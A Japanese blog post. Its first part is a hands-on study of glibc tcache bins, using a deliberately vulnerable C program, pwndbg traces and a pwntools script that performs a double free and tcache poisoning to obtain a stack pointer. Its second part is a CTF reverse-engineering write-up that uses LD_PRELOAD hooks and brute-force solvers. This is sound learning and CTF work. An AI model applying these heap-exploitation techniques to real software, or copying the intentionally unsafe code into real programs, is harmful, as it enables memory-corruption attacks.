tcache bins となかよく

なかよく（いろいろな解釈）

今日の遊び相手は glibc malloc ちゃんです。 今回はちゃんとした解説を目指した記事ではないです。

sourceware.org

なかよし

コードを読んだり、下記のコードから作った脆弱な実行ファイルを使ったりしながら挙動を見ていきます。

脆弱なコードちゃん

#include <stdio.h>
#include <stdlib.h>

enum {
  SIZE = 100,
};

void ignore() { scanf("%*c"); }

void scan_len(size_t* p) {
  printf("int? ");
  scanf("%zu", p);
  ignore();
}

void scan_str(unsigned char* p, size_t d) {
  printf("string? ");
  for (size_t i = 0; i < d; ++i) {
    scanf("%c", &p[i]);
  }
  ignore();
}

void print_str(unsigned char* p, size_t d) {
  printf("string: ");
  for (size_t i = 0; i < d; ++i) {
    printf("%c", p[i]);
  }
  printf("\n");
}

void vuln(void) {
  size_t i = 0;
  size_t len[SIZE] = {};
  unsigned char* str[SIZE] = {};
  printf("str: %p\n", str);
  char op;
  while (printf("op? "), scanf(" %c%*c", &op) == 1) {
    switch (op) {
    case '+':
      if (i < SIZE) {
        scan_len(&len[i]);
        str[i] = malloc(len[i]);
        scan_str(str[i], len[i]);
        ++i;
      }
      break;
    case '-': {
      size_t d;
      scan_len(&d);
      free(str[d]);
    } break;
    case '~': {
      size_t d;
      scan_len(&d);
      scan_str(str[d], len[d]);
    } break;
    case '@': {
      size_t d;
      scan_len(&d);
      print_str(str[d], len[d]);
    } break;
    case '.':
      return;
    default:
    }
  }
}

int main(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  vuln();
  puts("done");
}

pwndbg/pwndbg を使ったりします。

とりあえず malloc

[*] malloc(0x38), b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa'
(gdb) tcachebins
tcachebins
empty

(gdb) p tcache->entries[2]
$1 = (tcache_entry *) 0x0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0xfffffffffffffff0: Cannot access memory at address 0xfffffffffffffff0

malloc() だけした時点では tcache entry は NULL のままです。

とりあえず free

[*] free(0)
(gdb) tcachebins
tcachebins
0x40 [  1]:  0x5555555592a0 ◂— 0

(gdb) p tcache->entries[2]
$2 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x0000000555555559  0x30232822102e0fcf
0x5555555592b0: 0x6161616661616165  0x6161616861616167
0x5555555592c0: 0x6161616a61616169  0x6161616c6161616b
0x5555555592d0: 0x6161616e6161616d  0x0000000000020d31

free() をすると（malloc() のサイズがそういう感じなので）tcache に入ります。

typedef struct tcache_entry {
  struct tcache_entry *next;
  uintptr_t key;
} tcache_entry;

#define PROTECT_PTR(pos, ptr) ((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)

tcache->entries[2] が指している 0x5555555592a0 にあるポインタ next == 0x555555559 は、

((0x5555555592a0 >> 12) ^ 0x555555559) == 0

を意味します。また、key == 0x30232822102e0fcf は（実行ごとに固定の）乱数で、free() した chunk が tcache bins に入ったときに付与されます。 これは、free() が二重で行われようとするのを検知するために使われています。

Use after free

ということで、この子を書き換えることで、もう一度 free() できるようになります。

note: 書き換えなかった場合、バレて free(): double free detected in tcache 2 と言われて abort します。

脆弱性の観点で言えば、free() した後は malloc() で持ってきたアドレスには、ライブラリ内部で使っている値が書かれているので、それが漏れたり書き換えられたりするとよくないわけですね。

[!] .[0] = b'YUUU\x05\x00\x00\x00\xce\x0f.\x10"(#0oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa'
(gdb) tcachebins
tcachebins
0x40 [  1]:  0x5555555592a0 ◂— 0

(gdb) p tcache->entries[2]
$3 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x0000000555555559  0x30232822102e0fce
0x5555555592b0: 0x616161706161616f  0x6161617261616171
0x5555555592c0: 0x6161617461616173  0x6161617661616175
0x5555555592d0: 0x6161617861616177  0x0000000000020d31

（cyclic の部分は適当にやっていますが）next の部分は書き換えていないので、まだ tcache->entries[2] にはバレていません。

Double free

さて、free() しちゃいましょう。

[*] free(0)
(gdb) tcachebins
tcachebins
0x40 [  2]:  0x5555555592a0 ◂— 0x5555555592a0

(gdb) p tcache->entries[2]
$4 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x000055500000c7f9  0x30232822102e0fcf
0x5555555592b0: 0x616161706161616f  0x6161617261616171
0x5555555592c0: 0x6161617461616173  0x6161617661616175
0x5555555592d0: 0x6161617861616177  0x0000000000020d31

なんか怪しくなってきました。

static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
  e->key = tcache_key;
  e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

下記のように値が入ります。

e->next = PROTECT_PTR(0x5555555592a0, 0x5555555592a0)
        = 0x55500000c7f9
tcache->entries[2] = 0x5555555592a0

PROTECT_PTR はあくまでエンコード側の問題で、要するに e->next が指すものが 0x5555555592a0 になったというのが大事ですね。

tcache poisoning

続いて、next を書き換えちゃいましょう。0x7fffffffe530 を指していることにしてみます。 入れたい値は 0x7ffaaaaab069 で、バイト列としては b'i\xb0\xaa\xaa\xfa\x7f\x00\x00' です。

[!] .[0] = b'i\xb0\xaa\xaa\xfa\x7f\x00\x00\xcf\x0f.\x10"(#0yaaazaabbaabcaabdaabeaabfaabgaabhaabiaab'
(gdb) tcachebins
tcachebins
0x40 [  2]:  0x5555555592a0 —▸ 0x7fffffffe530 ◂— 0x7ffffffc6 /* '8' */

(gdb) p tcache->entries[2]
$5 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x00007ffaaaaab069  0x30232822102e0fcf
0x5555555592b0: 0x6261617a61616179  0x6261616362616162
0x5555555592c0: 0x6261616562616164  0x6261616762616166
0x5555555592d0: 0x6261616962616168  0x0000000000020d31

0x7fffffffe530 のアドレスには 0x38 が入っていたので、これを REVEAL_PTR に通せば 0x7ffffffc6 ということになります。 cf. pwndbg/chain.py

さて、malloc() することで tcache bins から chunk を持ってきましょう。

[*] malloc(0x38), b'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaab'
(gdb) tcachebins
tcachebins
0x40 [  1]:  0x7fffffffe530 ◂— 0x7ffffffc6 /* '8' */

(gdb) p tcache->entries[2]
$6 = (tcache_entry *) 0x7fffffffe530

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x7fffffffe520: 0x2b00000000000000  0x0000000000000000
0x7fffffffe530: 0x0000000000000038  0x0000000000000038
0x7fffffffe540: 0x0000000000000000  0x0000000000000000
0x7fffffffe550: 0x0000000000000000  0x0000000000000000
0x7fffffffe560: 0x0000000000000000  0x0000000000000000

関連するのは下記のあたりで、

static __always_inline void *tcache_get_n(size_t tc_idx, tcache_entry **ep) {
  tcache_entry *e;
  if (ep == &(tcache->entries[tc_idx]))
    e = *ep;
  else
    e = REVEAL_PTR(*ep);

  if (__glibc_unlikely(!aligned_OK(e)))
    malloc_printerr("malloc(): unaligned tcache chunk detected");

  if (ep == &(tcache->entries[tc_idx]))
    *ep = REVEAL_PTR(e->next);
  else
    *ep = PROTECT_PTR(ep, REVEAL_PTR(e->next));

  --(tcache->counts[tc_idx]);
  e->key = 0;
  return (void *)e;
}

static __always_inline void *tcache_get(size_t tc_idx) {
  return tcache_get_n(tc_idx, &tcache->entries[tc_idx]);
}

実行されているのは下記のような感じです。

tcache_entry **ep = &tcache->entries[tc_idx];
tcache_entry *e = REVEAL_PTR(*ep);
*ep = PROTECT_PTR(ep, REVEAL_PTR(e->next));
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *)e;

*ep == tcache->entries[tc_idx] に e->next（をエンコードしたもの）を入れることができています。

もう一声。

[*] malloc(0x38), b'8\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x90\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
(gdb) tcachebins
tcachebins
0x40 [  0]:  0x7ffffffc6

(gdb) p tcache->entries[2]
$7 = (tcache_entry *) 0x7ffffffc6

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x7ffffffb6:    Cannot access memory at address 0x7ffffffb6

(gdb) x/6a $rsp+0x30+800
0x7fffffffe850: 0x5555555592a0  0x5555555592a0
0x7fffffffe860: 0x7fffffffe530  0x0
0x7fffffffe870: 0x0 0x0

malloc() したポインタたちを持っている配列を見るに、たしかに 0x7fffffffe530 が手に入っていることがわかります。

ふりかえり

さっきのは下記のような流れでやっています。

malloc(size)
free(0)
fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16]))
tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10)))
free(0)
tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10)))
malloc(size)
malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18)))

下記のようにすると、free(0) をした段階で e->next がまともに戻されてしまうのでだめそうです。

-tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10)))
+tamper(0, flat(p64(fd ^ target_addr), p64(key ^ 1), next_cyclic(size - 0x10)))
 free(0)

また、(target_addr & 0xF) == 0x0 でない場合、malloc(): unaligned tcache chunk detected と言われて abort します。

コード全体

import re
import sys

from pwn import *

prompt = b"pwndbg> "
cyclic_buf = iter(cyclic())


def next_cyclic(n):
    global cyclic_buf
    return bytes(next(cyclic_buf) for _ in range(n))


def malloc(size: int, data=None):
    p.clean()
    p.sendline(b"c")
    p.sendline(b"+")
    p.sendline(f"{size}".encode())
    if data is None:
        data = next_cyclic(size)
    p.info(f"malloc({size:#x}), {data}")
    p.sendline(data)
    p.recvuntil(prompt)


def free(index: int):
    p.clean()
    p.sendline(b"c")
    p.sendline(b"-")
    p.sendline(f"{index}".encode())
    p.info(f"free({index})")
    p.recvuntil(prompt)


def leak(index: int) -> bytes:
    p.sendline(b"c")
    p.sendline(b"@")
    p.clean()
    p.sendline(f"{index}".encode())
    p.recvuntil(b"string: ")
    return p.recvuntil(b"\n\nBreakpoint 1,", drop=True)


def tamper(index: int, data: bytes):
    p.clean()
    p.sendline(b"c")
    p.sendline(b"~")
    p.sendline(f"{index}".encode())
    p.warn(f".[{index}] = {data}")
    p.sendline(data)
    p.recvuntil(prompt)


def e(comm: bytes):
    p.clean()
    p.sendline(comm)
    print("(gdb)", comm.decode())
    print(p.recvuntil(prompt, drop=True).decode())


def check():
    e(b"tcachebins")
    e(b"p tcache->entries[2]")
    e(b"x/10gx (void*)tcache->entries[2]-0x10")


breakaddr = 0x0000555555555419

p = process("gdb heap-bins", shell=True, stderr=sys.stderr)
p.recvuntil(prompt)

p.sendline(f"b *{breakaddr:#x}".encode())
p.sendline(b"r")

p.recvuntil(b"str: ")
str_addr = int(p.recvline()[:-1], 16)
print(f"str_addr: {str_addr:#x}")
target_addr = str_addr - 8 * 100


size = 0x38

malloc(size)
check()

free(0)
check()
fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16]))
chunk = fd << 12 | 0x2A0

tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10)))
check()

free(0)
check()

tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10)))
check()

malloc(size)
check()

malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18)))
check()
e(b"x/6a $rsp+0x30+800")

おきもち

言語仕様というかライブラリ側の視点で言えば、「そういうポインタを使った場合の動作は未定義です」で、コードの書き手側への教えとしては「そういうコードは書かないように気をつけようね〜」という感じになるのがよくある話かなぁと思うのですが、攻撃側の視点で「実際に中でどうなっていて、どうすればめちゃくちゃにできるのかな〜」と考えるのは面白そうです（これは CTF 全般に言えることかも）。

規格では “A translation unit shall not ...” とは書かれていても “You shall not write ...” のような言い方はされていないわけで、学習用に（再現性がない前提とかはわかった上で）未定義動作のコードを書くのはもっとやっていいんじゃないかなと思っています。 これは、「学習用・自分用のおもちゃプログラムであれば未定義動作が書かれていてもいいでしょ」という意味ではないです。 「未定義動作を踏んでても大丈夫だよね」に慣らすのではなくて「未定義動作を踏んだときにこうなる可能性もありうるよね」という部分で遊ぶのもいいよねという話です。前者を勧める人は勘弁してほしいです。

tcache bins に関してはお手軽に exploit できそうだったので遊んでいましたが、それ以外の bin たちについてはまだよくわかっていないので、また遊ぼうと思います。 大枠の流れ（どういう bin があって、どういう操作をするとどの bin に入って、とか）や、遊び方（どこになんのアドレスが入っていて、どう辿ると内部状態を知れるのか、とか）はなんとなくわかったような気がしています。

競プロ文脈で「結局 malloc() とか（あるいは std::vector とか）ってどうなってんの？」という話は、界隈でもちょこちょこ出たり出なかったりしていた記憶はありますが、ここ最近はあまり見ないような気がします。 そもそも C でやっている人自体が少ししかいなさそうなのと、最近は特に若者の低レイヤー離れの流れがあるかもしれません？

競プロ er 向けに低レイヤーの malloc() とかの解説記事めいたものを書く予定はないですが、気が変わる可能性もあります。 以前書いた「計算量や big-O の話」「浮動小数点数や誤差の話」のように、多くの人々が避けていたり雰囲気で扱っていたりしてまともな知見が共有されていないようなトピックを漁りたいという気持ちはあります。

おわり

おわりです。

write-up: AlpacaHack Round 8 (Rev)

AlpacaHack Round 8 (Rev) の write-up

AlpacaHack Round 8 (Rev) に参加して、3 問解いて 12/316 位でした。

振り返り

masking tape

とりあえずバイナリを落としてきて実行します。 こういう態度は本当に終わっているんですが、まぁ運営を信じて実行しちゃいます（仮想環境なので一応大丈夫なはず、一応）。

% ./masking-tape 
#> usage: ./masking-tape <input>

% ./masking-tape a
#> wrong

何らかの正しい <input> を寄越せという話っぽさを感じます。

とりあえず r2 (radareorg/radare2) を使って見てみると、strcmp でなにかを比較しているようなので、引数を見てみます*1。

// hook-a.c
#include <stdio.h>
int strcmp(char const* s1, char const* s2) {
    printf("'%s' <=> '%s'\n", s1, s2);
    return 0;
}

これを

% gcc-14 --shared -o hook-a.so hook-a.c

こうして

% LD_PRELOAD=./hook-a.so ./masking-tape a | xxd
#> 00000000: 2708 2303 0313 0313 0301 2331 1311 c803  '.#.......#1....
#> 00000010: c803 1301 c813 1303 1313 1113 2327 203c  ............#' <
#> 00000020: 3d3e 2027 0327 0a27 0240 8008 0808 c8c8  => '.'.'.@......
#> 00000030: 8088 0880 8832 0832 8080 8032 0880 0808  .....2.2...2....
#> 00000040: 4888 80c8 2720 3c3d 3e20 2708 270a 636f  H...' <=> '.'.co
#> 00000050: 6e67 7261 747a 0a                        ngratz.

こう。少し遊んでみます。

% LD_PRELOAD=./hook-a.so ./masking-tape ab | xxd
#> 00000000: 2708 2303 0313 0313 0301 2331 1311 c803  '.#.......#1....
#> 00000010: c803 1301 c813 1303 1313 1113 2327 203c  ............#' <
#> 00000020: 3d3e 2027 0313 270a 2702 4080 0808 08c8  => '..'.'.@.....
#> 00000030: c880 8808 8088 3208 3280 8080 3208 8008  ......2.2...2...
#> 00000040: 0848 8880 c827 203c 3d3e 2027 0827 0a63  .H...' <=> '.'.c
#> 00000050: 6f6e 6772 6174 7a0a                      ongratz.

% LD_PRELOAD=./hook-a.so ./masking-tape Al | xxd
#> 00000000: 2708 2303 0313 0313 0301 2331 1311 c803  '.#.......#1....
#> 00000010: c803 1301 c813 1303 1313 1113 2327 203c  ............#' <
#> 00000020: 3d3e 2027 0823 270a 2702 4080 0808 08c8  => '.#'.'.@.....
#> 00000030: c880 8808 8088 3208 3280 8080 3208 8008  ......2.2...2...
#> 00000040: 0848 8880 c827 203c 3d3e 2027 0240 270a  .H...' <=> '.@'.
#> 00000050: 636f 6e67 7261 747a 0a                   congratz.

1 文字追加するごとに右辺が伸びたり伸びなかったりしそう？ なんかのハッシュ的な機構が入ってて、予想するのは大変そう。 とりあえず左辺は 28 bytes なので、28 bytes 程度のフラグが答えになりそう感。

いろいろ試していると、byte ごとに干渉しなさそうなので、とりあえず 1 byte ずつ決めていけばよさそう。なのでそういう solver を書きます。

from pwn import *

target1 = (
    "\x08\x23\x03\x03\x13\x03\x13\x03\x01\x23\x31\x13\x11\xC8"
    "\x03\xC8\x03\x13\x01\xC8\x13\x13\x03\x13\x13\x11\x13\x23"
)
target2 = (
    "\x02\x40\x80\x08\x08\x08\xC8\xC8\x80\x88\x08\x80\x88\x32"
    "\x08\x32\x80\x80\x80\x32\x08\x80\x08\x08\x48\x88\x80\xC8"
)


context.log_level = "error"


def escape(s):
    return s.replace("'", r"'\''")


flag = ""
for i in range(len(target1)):
    for c in range(ord(" "), ord("~") + 1):
        c = chr(c)
        p = process(
            f"LD_PRELOAD=./hook.-aso ./masking-tape '{escape(flag + c)}'", shell=True
        )
        recv1 = p.recvline()[:-1]
        recv2 = p.recvline()[:-1]
        p.close()
        expected1, actual1 = recv1[: len(target1)], recv1[len(target1) :]
        expected2, actual2 = recv2[: len(target2)], recv2[len(target2) :]
        if (
            len(actual1) == len(actual2) == i + 1
            and expected1[: i + 1] == actual1
            and expected2[: i + 1] == actual2
        ):
            flag += c
            break
    else:
        exit(1)

print(flag)

% python3 solve-a.py
#> Alpaca{********************}

よーぅし

hidden

これもとりあえず実行。

% ./hidden 
#> usage: ./hidden <input>

% ./hidden a
#> wrong

あ〜さっきと同じ感じね。

今回は memcmp で比較しているみたいです？ なにやら GDB が main を見つけてくれないみたいで困った。

(gdb) b main
Function "main" not defined.
Make breakpoint pending on future shared library load? (y or [n]) n

r2 的には s main とかができたので、何らかのことをして隠されているのでしょうか。とりあえず puts を呼んでいる箇所で止めたりしてみます。

(gdb) b puts
Breakpoint 1 at 0x10b0

(gdb) r a
Starting program: /mnt/hidden a
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, __GI__IO_puts (str=0x555555556020 "wrong") at ./libio/ioputs.c:33
warning: 33 ./libio/ioputs.c: No such file or directory

(gdb) bt
#0  __GI__IO_puts (str=0x555555556020 "wrong") at ./libio/ioputs.c:33
#1  0x0000555555555545 in ?? ()
#2  0x00007ffff7dc23b8 in __libc_start_call_main (main=main@entry=0x5555555553e1, argc=argc@entry=2, argv=argv@entry=0x7fffffffed18) at ../sysdeps/nptl/libc_start_call_main.h:58
#3  0x00007ffff7dc247b in __libc_start_main_impl (main=0x5555555553e1, argc=2, argv=0x7fffffffed18, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffed08)
    at ../csu/libc-start.c:360
#4  0x0000555555555145 in ?? ()

(gdb) x/10i 0x0000555555555545
   0x555555555545:  mov    $0x0,%eax
   0x55555555554a:  mov    -0x18(%rbp),%rdx
   0x55555555554e:  sub    %fs:0x28,%rdx
   0x555555555557:  je     0x55555555555e
   0x555555555559:  call   0x5555555550d0 <__stack_chk_fail@plt>
   0x55555555555e:  mov    -0x8(%rbp),%rbx
   0x555555555562:  leave
   0x555555555563:  ret
   0x555555555564:  endbr64
   0x555555555568:  sub    $0x8,%rsp

なにやら r2 で見た main っぽい命令が見つかったので一旦満足。アドレスの下 1.5 byte も一致していました。

とりあえずまた似たようなことをやってみます。

// hook-b.c
#include <stdio.h>
int memcmp(void const* s1, void const* s2, size_t n) {
    printf("memcmp(%p, %p, %zu)\n", s1, s2, n);
    for (size_t i = 0; i < n; ++i) {
        printf("[%zu]: %#04x %#04x\n", i, *((unsigned char*)s1 + i), *((unsigned char*)s2 + i));
    }
    return 0;
}

% LD_PRELOAD=./hook-b.so ./hidden a
#> memcmp(0x5555555592a0, 0x555555558040, 108)
#> [0]: 0xfc 0xdc
#> [1]: 0xea 0x86
#> [2]: 0x6a 0x1a
#> [3]: 0xfb 0x9a
#> [4]: 0000 0xdd
#> [5]: 0000 0x93
#> [6]: 0000 0x9b
#> [7]: 0000 0x35
#:
#> [104]: 0000 0xb0
#> [105]: 0000 0xa2
#> [106]: 0000 0x99
#> [107]: 0000 0x91
#> congratz

これも結局ハッシュめいたものを通して一致すればおめでとう〜という感じっぽい？

% LD_PRELOAD=./hook-b.so ./hidden Alpaca{
#> memcmp(0x5555555592a0, 0x555555558040, 108)
#> [0]: 0xdc 0xdc
#> [1]: 0x86 0x86
#> [2]: 0x1a 0x1a
#> [3]: 0x9a 0x9a
#> [4]: 0xdd 0xdd
#> [5]: 0x93 0x93
#> [6]: 0x9b 0x9b
#> [7]: 0x41 0x35
#> [8]: 0000 0xd3

それっぽさがあるので、それっぽい solver を書きます。

from pwn import *

target = (
    b"\xDC\x86\x1A\x9A\xDD\x93\x9B\x35\xD3\x74\xDA\xEE\xE8\x5A\x3C\xC5"
    b"\x1C\x64\x33\x47\xD2\x3B\x28\xF3\xCC\x5A\x48\x8B\x74\x0C\x4B\x87"
    b"\x38\xD6\x80\x40\x51\xE6\x4A\x27\xA1\x73\x52\x0F\x93\x06\x54\x3D"
    b"\x65\x13\xFB\xC8\x65\xAF\xD2\x67\xB3\x09\xEF\x7D\x23\xA6\x76\xE5"
    b"\x13\x10\x13\xFF\x34\x8D\xAE\xD0\x9C\x2C\x4D\xF3\xA1\xBC\x46\x2F"
    b"\x98\x87\xB6\x57\x1A\xA2\x17\xF1\xF0\xE5\xB0\xBA\x9B\x6D\xB5\xA7"
    b"\xAC\x6A\x5E\xAC\xE8\xF6\x90\xD8\xB0\xA2\x99\x91"
)

context.log_level = "error"


def escape(s):
    return s.replace("'", r"'\''")


flag = ""
for i in range(len(target)):
    for c in range(ord(" "), ord("~") + 1):
        c = chr(c)
        p = process(f"LD_PRELOAD=./hook-b.so ./hidden '{escape(flag + c)}'", shell=True)
        recv = p.recvline()[:-1]
        p.close()
        if target[: len(flag) + 1] == recv[: len(flag) + 1]:
            print(c, end="", flush=True)
            flag += c
            break
    else:
        exit(1)

print()

% python3 solve-b.py
#> Alpaca{**************** ... ***}

よーぅし。

vcipher

とりあえず実行してみます。

% ./vcipher 
#> Input 32-character flag: a
#> Error: Flag must be exactly 32 characters.

% ./vcipher 
#> Input 32-character flag: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#> Input flag: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> The flag is incorrect.

お、さっきとは違いますね。

r2 で afl してみると C++ 感があり、ウワーという気持ちになります。

s main v していろいろ見るに、チェックはこのあたりが関係していそうです。

│ │       ┌─> 0x00003a05      8b3c86         mov edi, dword [rsi + rax*4]
│ │       ╎   0x00003a08      393c83         cmp dword [rbx + rax*4], edi
│ │       ╎   0x00003a0b      0f45d1         cmovne edx, ecx
│ │       ╎   0x00003a0e      48ffc0         inc rax
│ │       ╎   0x00003a11      4883f808       cmp rax, 8
│ │       └─< 0x00003a15      75ee           jne 0x3a05

ということで、そのあたりに breakpoint を打ちたいです。

(gdb) b main
Breakpoint 1 at 0x3660

(gdb) r
Starting program: /mnt/vcipher 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555557660 in main ()

(gdb) x/i 0x0000555555557a05
   0x555555557a05 <main+933>: mov    (%rsi,%rax,4),%edi

それっぽさがありますね。

Breakpoint 2, 0x0000555555557a05 in main ()
(gdb) x/8wx $rsi
0x5555555620a0 <_ZL14CORRECT_OUTPUT>: 0x345a7191  0xdcc4950a  0x8ad73f4e  0x6006deee
0x5555555620b0 <_ZL14CORRECT_OUTPUT+16>:  0xb474f6a4  0x9620574d  0x7fba5668  0x45cb397e

(gdb) x/8wx $rbx
0x7fffffffeba8: 0x1558f6b2  0x1ca7b66f  0x03f6762c  0x094537e9
0x7fffffffebb8: 0xf095f7a7  0xf7e4b764  0xfd337721  0xe48238fe

ここの値が同じになるような入力を与えればよさそうな気がします。一応確かめておきましょう。

(gdb) set *0x7fffffffeba8 = 0x345a7191
(gdb) set *0x7fffffffebac = 0xdcc4950a
(gdb) set *0x7fffffffebb0 = 0x8ad73f4e
(gdb) set *0x7fffffffebb4 = 0x6006deee
(gdb) set *0x7fffffffebb8 = 0xb474f6a4
(gdb) set *0x7fffffffebbc = 0x9620574d
(gdb) set *0x7fffffffebc0 = 0x7fba5668
(gdb) set *0x7fffffffebc4 = 0x45cb397e
(gdb) c
Continuing.
The flag is correct!
[Inferior 1 (process 30123) exited normally]

よさそうですね。

というところで、じゃぁどんな感じでここが変わるのかというのを調べていきます。

% gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' ./vcipher <<< xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#:
#> 0x7fffffffeba8:  0x1558f6b2  0x1ca7b66f  0x03f6762c  0x094537e9
#> 0x7fffffffebb8:  0xf095f7a7  0xf7e4b764  0xfd337721  0xe48238fe
#:

% gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' ./vcipher <<< xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxy
#:
#> 0x7fffffffeba8:  0x1558f6b2  0x1ca7b66f  0x03f6762c  0x094537e9
#> 0x7fffffffebb8:  0xf095f7a7  0xf7e4b764  0xfd337721  0xc48238fe
#:

% gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' ./vcipher <<< yxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#:
#> 0x7fffffffeba8:  0x1558f692  0x1ca7b66f  0x03f6762c  0x094537e9
#> 0x7fffffffebb8:  0xf095f7a7  0xf7e4b764  0xfd337721  0xe48238fe
#:

% gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' ./vcipher <<< Alpaca{xxxxxxxxxxxxxxxxxxxxxxxx}
#:
#> 0x7fffffffeba8:  0x345a7191  0x1cc4950f  0x03f6762c  0x094537e9
#> 0x7fffffffebb8:  0xf095f7a7  0xf7e4b764  0xfd337721  0x448238fe
#:

ふんふん？ とりあえず、さっきの正解と見比べてみます。

0x5555555620a0:  0x345a7191  0xdcc4950a  0x8ad73f4e  0x6006deee
0x5555555620b0: 0xb474f6a4  0x9620574d  0x7fba5668  0x45cb397e

0x7fffffffeba8: 0x345a7191  0x1cc4950f  0x03f6762c  0x094537e9
0x7fffffffebb8: 0xf095f7a7  0xf7e4b764  0xfd337721  0x448238fe

0x7fffffffeba8: 0xoooooooo  0x.oooooo.  0x........  0x........
0x7fffffffebb8: 0x........  0x........  0x........  0xo......o

o でマークした部分は正解のものと一致していそうなので、1 byte ごとに 8 bits ぶん決まりそう？みたいな気持ちになります。 挙動を見た感じだと、3][22][11][00][3 みたいな感じでシフトされていそうな気配があります。

そういえば、入力が 32 bytes で、エンコードされた列も 32 bytes なので、（フラグが複数通りあり得たら嫌なので）全単射になっているんだろうなということを思ってはいました。

ということで結局 1 byte ごとに決める solver を書くのですが、一回の実行にめちゃくちゃ時間がかかるので、めちゃくちゃ時間がかかりそうです。

import sys

from pwn import *

target = [
    0x345A7191,
    0xDCC4950A,
    0x8AD73F4E,
    0x6006DEEE,
    0xB474F6A4,
    0x9620574D,
    0x7FBA5668,
    0x45CB397E,
]


context.log_level = "error"

flag_raw = ["!"] * 32

mask = [0x00000FF0, 0x000FF000, 0x0FF00000, 0xF000000F]
dec = [
    lambda x: x >> 4,
    lambda x: x >> 12,
    lambda x: x >> 20,
    lambda x: (x >> 28) | ((x & 0xF) << 4),
]

i = int(sys.argv[1])
flag_raw[i] = chr(int(sys.argv[2], 16))

target_i = dec[i % 4](target[i // 4] & mask[i % 4])
print(f"target: {target_i:#04x}")
while flag_raw[i] <= "~":
    c = flag_raw[i]
    flag = "".join(flag_raw).replace("'", r"'\''")
    print("current:", flag)
    p = process(
        f"printf '%s\n' '{flag}' | gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' vcipher",
        shell=True,
    )
    p.recvuntil(b"--Type <RET> for more, q to quit, c to continue without paging--")
    recv1 = p.recvline()[:-1]
    recv2 = p.recvline()[:-1]
    p.close()
    words1 = [*map(lambda x: int(x, 16), recv1.decode().split(":")[1][1:].split("\t"))]
    words2 = [*map(lambda x: int(x, 16), recv2.decode().split(":")[1][1:].split("\t"))]
    words = words1 + words2
    print(hex(dec[i % 4](words[i // 4]) & 0xFF))

    if (target[i // 4] & mask[i % 4]) == (words[i // 4] & mask[i % 4]):
        print(c, flush=True)
        break

    flag_raw[i] = chr(ord(flag_raw[i]) + 1)

とりあえずこんな感じで、添字と開始文字を渡して全探索できるコードを書きました。 これを複窓で 20 並列くらいさせれば余裕でしょと思ったのですが、3–4 窓くらいでだいぶ限界み（プロセスの生成がめちゃ遅い）を感じたのでやめました。

% python3 after/solve-c.py 7 41
#> target: 0xad
#> current: !!!!!!!A!!!!!!!!!!!!!!!!!!!!!!!!
#> 0x83
#> current: !!!!!!!B!!!!!!!!!!!!!!!!!!!!!!!!
#> 0x85
#:
#> current: !!!!!!!V!!!!!!!!!!!!!!!!!!!!!!!!
#> 0xad
#> V

